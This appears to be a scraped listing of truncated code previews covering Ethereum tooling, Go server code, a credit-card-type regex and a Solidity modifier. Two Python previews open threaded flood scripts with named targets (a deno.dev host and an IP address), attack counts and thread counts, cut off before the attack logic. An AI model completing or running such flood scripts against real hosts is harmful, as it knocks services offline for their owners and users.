This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from "ethers"; | |
import { getChain } from "./helpers.js"; | |
import { spawn } from "child_process"; | |
import { openSync, existsSync, mkdirSync } from "fs"; | |
import net from 'net'; | |
export default class Anvil { | |
forkRpc; | |
forkProvider; | |
blockNumber; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crate-mix/lib/mix" | |
"crate-mix/lib/settings" | |
"fmt" | |
"log" | |
"os" | |
"sync" | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getCreditCardType(cc) { | |
let amex = new RegExp('^3[47][0-9]{0,13}$'); | |
let visa = new RegExp('^4[0-9]{0,12}(?:[0-9]{3})?$'); | |
let mastercard = new RegExp('^5[1-5][0-9]{0,14}$'); | |
let mastercard2 = new RegExp('^2[2-7][0-9]{0,14}$'); | |
let disco1 = new RegExp('^6011[0-9]{0,12}[0-9]*$'); | |
let disco2 = new RegExp('^62[24568][0-9]{0,13}[0-9]*$'); | |
let disco3 = new RegExp('^6[45][0-9]{0,14}[0-9]*$'); | |
if (visa.test(cc)) { | |
return 'VISA'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package observer | |
import ( | |
"context" | |
"da/go-server/src/models" | |
"da/go-server/src/utils/constants" | |
"da/go-server/src/utils/database" | |
"database/sql" | |
"errors" | |
"log" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Check for the correct chain | |
const { chainId } = await provider.getNetwork(); | |
if (!(chainId === web3Config.chainId)) { | |
try { | |
const chainHex = `${web3Config.chainId}`.toString('hex'); | |
await window.ethereum.request({ | |
method: 'wallet_switchEthereumChain', | |
params: [{ chainId: `0x${chainHex}` }] | |
}); | |
} catch (err) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, ssl, threading, time | |
target = "pmq.deno.dev" | |
port = 443 | |
attack_amount = 100000 | |
thread_count = 500 | |
start = time.time() | |
attack_completed = 0 | |
def attack(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import threading | |
import ipaddress | |
import random | |
port = 80 | |
attack_amount = 4000000 | |
thread_count = 500 | |
target = "123.45.68.99" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
type Example struct { | |
Name *string | |
} | |
func main() { | |
myStruct := &Example{} | |
myStruct.Name = "Test" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main_test | |
import ( | |
"da/go-server/src/cron/jobs" | |
"da/go-server/src/models" | |
"da/go-server/src/utils/database" | |
"da/go-server/src/utils/eth/observer" | |
"math" | |
"testing" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
modifier canChangeUri(uint256[] memory tokens, string calldata ipfs_uri, bytes calldata signature) { | |
require(_signer == keccak256(abi.encodePacked( | |
msg.sender, | |
tokens, | |
ipfs_uri | |
)).toEthSignedMessageHash().recover(signature), "Not approved URI"); | |
_; | |
} |
NewerOlder